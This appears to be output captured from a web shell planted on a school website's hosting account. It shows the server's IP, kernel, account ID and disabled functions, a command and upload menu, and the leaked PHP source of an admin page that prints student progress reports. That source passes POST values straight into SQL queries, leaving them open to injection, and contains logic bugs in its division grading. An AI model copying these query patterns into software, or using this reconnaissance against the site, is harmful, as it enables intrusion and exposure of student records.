|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/mjcacademy/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$session=$_POST['session'];
$exam=$_POST['exam'];
error_reporting(0);
include('../link/databaseconnection.php');
session_start();
$lg=$_SESSION['admin'];
$sel="select * from six_eightresult where session='$session' and exam='$exam' and class='FIRST'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
//$exam=$row['name'];
$sel1="select * from six_eightresult where session='$session' and exam='$exam' and class='SIXTH' ";
$res1=mysqli_query($conn,$sel1);
$sel3="select *from registration where session='$session' and subject='FIRST' OR session='$session' and subject='SECOND' OR session='$session' and subject='' OR session='$session' and subject='UKG'";
$res3=mysqli_query($conn,$sel3);
$row3=mysqli_fetch_array($res3,MYSQLI_BOTH);
$rol=$row3['application'];
?>
<html>
<head>
<link href="https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="https://cdn.datatables.net/buttons/1.5.1/css/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>
<script src="//code.jquery.com/jquery-1.12.4.js"></script>
<script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/buttons/1.5.1/js/dataTables.buttons.min.js"></script>
<script src="//cdn.datatables.net/buttons/1.5.1/js/buttons.flash.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.32/pdfmake.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.32/vfs_fonts.js"></script>
<script src="//cdn.datatables.net/buttons/1.5.1/js/buttons.html5.min.js"></script>
<script src="//cdn.datatables.net/buttons/1.5.1/js/buttons.print.min.js"></script>
<script>
$(document).ready(function(){
$('#example').DataTable({
dom: 'Bfrtip',
buttons: ['strcmp', 'csv', 'excel', 'pdf', 'print']
});
});
</script>
<style>
.graph-7{background: url("../images/gc mark.png") no-repeat ;}
.graph-image img{display: inline;}
.graph-7{background-size:100% 100% ;}
@media print{
.graph-img img{display:inline;}
width:100%;
}
@media print {
* {
-webkit-print-color-adjust: exact;
}
}
td {
padding-top: .5em;
padding-bottom: .5em;
}
#header
{
height:70px;
background-color:red;
width:495px;
}
#logo
{
height:70px;
background-color:green;
width:70px;
float-left;
}
#name
{
height:70px;
background-color:yellow;
width:420px;
float-left;
}
</style>
<style type="text/css" media="print">
@page
{
size: A4; /* auto is the initial value */
margin: 10mm; /* this affects the margin in the printer settings */
}
@media print {
jk {position:relative;}
}
td{font-size:12px;
font-weight:bold;}
@media print {
#p {font-size:12px;
#p2{margin-left:200px}
#p3{margin-left:500px}
text-transform: uppercase;}
}
</style>
</head>
<body>
<?php
$s=2017;
$r=1;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
if($row1['mark1']=='A'){'0';}else{$row1['mark1'] ;}
if($row1['mark2']=='A'){'0';}else{$row1['mark2'] ;}
if($row1['mark3']=='A'){'0';}else{$row1['mark3'] ;}
if($row1['mark4']=='A'){'0';}else{$row1['mark4'] ;}
if($row1['mark5']=='A'){'0';}else{$row1['mark5'] ;}
if($row1['mark6']=='A'){'0';}else{$row1['mark6'] ;}
if($row1['mark7']=='A'){'0';}else{$row1['mark7'] ;}
if($row1['mark8']=='A'){'0';}else{$row1['mark8'] ;}
if($row1['mark9']=='A'){'0';}else{$row1['mark9'] ;}
$marktotal=$row1['mark1']+$row1['mark2']+$row1['mark3']+$row1['mark4']+$row1['mark5']+$row1['mark6']+$row1['mark7']+$row1['mark8']+$row1['mark9'];
$per1=$marktotal/4.5;
$per=$per1*100;
?>
<center>
<table frame="border" height="10%" width="100%" id="example">
<tr>
<td align="center" COLSPAN="5"><img src="../images/gc.jpg" style=""height="140px" width="100%"/></td>
</tr>
</table>
<div class="row graph-image graph-7" style="width:100%">
<table border="1px" width="100%" cellspacing="0">
<tr align="center">
<td><h4>Class: <?php echo $row1['class'];?></h4></td><td colspan="2"><h4><?php echo $row1['exam'];?>- <?php echo $row1['session'];?></h4></td><td ><h4>Sch. Number: <?php echo $row1['rol'];?></h4></td>
</tr>
<tr align="">
<td>Name</td><td colspan="2"><p><?php echo $row1['name'];?></p></td><td rowspan="4">
<?php
$rol1=$row1['rol'];
$sel5="select *from registration where session='$session' and application='$rol1'";
$res5=mysqli_query($conn,$sel5);
$row5=mysqli_fetch_array($res5,MYSQLI_BOTH);
?>
<center><img src="../code/img/<?php echo $row5['picture'];?>" height="120px" width="120px"/></center></td>
</tr>
<tr align="">
<td>Father's Name</td><td colspan="2"><p><b>Mr.</b> <?php echo $row1['fname'];?></p></td>
</tr>
<tr align="">
<td>Mother's Name</td><td colspan="2"><p><b>Mrs.</b> <?php echo $row1['mname'];?></p></td>
</tr>
<tr align="">
<td>Date Of Birth</td><td colspan="2"><p><?php echo $row1['dob'];?></p></td>
</tr>
<tr align="center">
<td colspan="5"><h3>PROGRESS REPORT</h3></td>
</tr>
<table cellspacing="0" border="1px" width="100%">
<tr align="center" style="font-weight:bold">
<td style="text-align:left">SUBJECT</td><td>M. MARKS</td><td >O. MARKS</td><td>TOTAL</td><td >GRAND TOTAL & RESULT</td>
</tr>
<tr align="center">
<td style="text-align:left">HINDI </td><td>50</td><td ><?php echo $row1['mark1'];?></td><td><?php echo $row1['mark1'];?></td><td rowspan="8"><b><?php echo $marktotal;?>/450</b> <BR/><BR/> <B>PER- <?PHP echo substr("$per1",0,4);?>% <BR/><br/><?php
if($per1>=33){echo "PASS";}else {echo "FAIL";}
?>
<BR/><br/>DIVISION =
<?PHP if($per1>=33 )
{
if($per1>=33 and $per1<=45)
{
echo "THIRD";
}
else if($per1>45 and $per1<60)
{
echo "SECOND";
}
else if($per1=60 and $per1<=100)
{
echo "FIRST";
}
}
ELSE
{
echo "NO OBTAIN";
}
?><br/><br/> RANK= <?php echo $row1['rank'];?></B></td>
</tr>
<tr align="center">
<td style="text-align:left">ENGLISH I</td><td>50</td><td ><?php echo $row1['mark2'];?></td><td><?php echo $row1['mark2'];?></td>
</tr>
<tr align="center">
<td style="text-align:left">ENGLISH II</td><td>50</td><td ><?php echo $row1['mark3'];?></td><td><?php echo $row1['mark3'];?></td>
</tr>
<tr align="center">
<td style="text-align:left">MATHS</td><td>50</td><td ><?php echo $row1['mark4'];?></td><td><?php echo $row1['mark4'];?></td>
</tr>
<tr align="center">
<td style="text-align:left">G.K.</td><td>50</td><td ><?php echo $row1['mark5'];?></td><td><?php echo $row1['mark5'];?></td>
</tr>
<tr align="center">
<td style="text-align:left">SCIENCE </td><td>50</td><td ><?php echo $row1['mark6'];?></td><td><?php echo $row1['mark6'];?></td>
</tr>
<tr align="center">
<td style="text-align:left">S.ST. </td><td>50</td><td ><?php echo $row1['mark7'];?></td><td><?php echo $row1['mark7'];?></td>
</tr>
<tr align="center">
<td style="text-align:left">COMPUTER </td><td>50</td><td ><?php echo $row1['mark8'];?></td><td><?php echo $row1['mark8'];?></td>
</tr>
<tr align="center">
<td style="text-align:left">ART</td><td>50</td><td ><?php echo $row1['mark9'];?></td><td><?php echo $row1['mark9'];?></td>
</tr>
<tr>
<td colspan="3" align="center"><h4>Teacher's Signature</h4><br/><br/><br/></td><td colspan="3" align="center"><h4>Principal's Signature</h4><br/><br/><br/></td>
</tr>
<tr align="center">
<td>Note:</td><td colspan="4"><i>Please make Signature Principal and Teacher in Space.</i></td>
</tr>
</table>
</div>
<?php
?><br/><br/><br/><br/><br/><br/><br/><br/><?php
$r++;
}
?>
</body>
</html>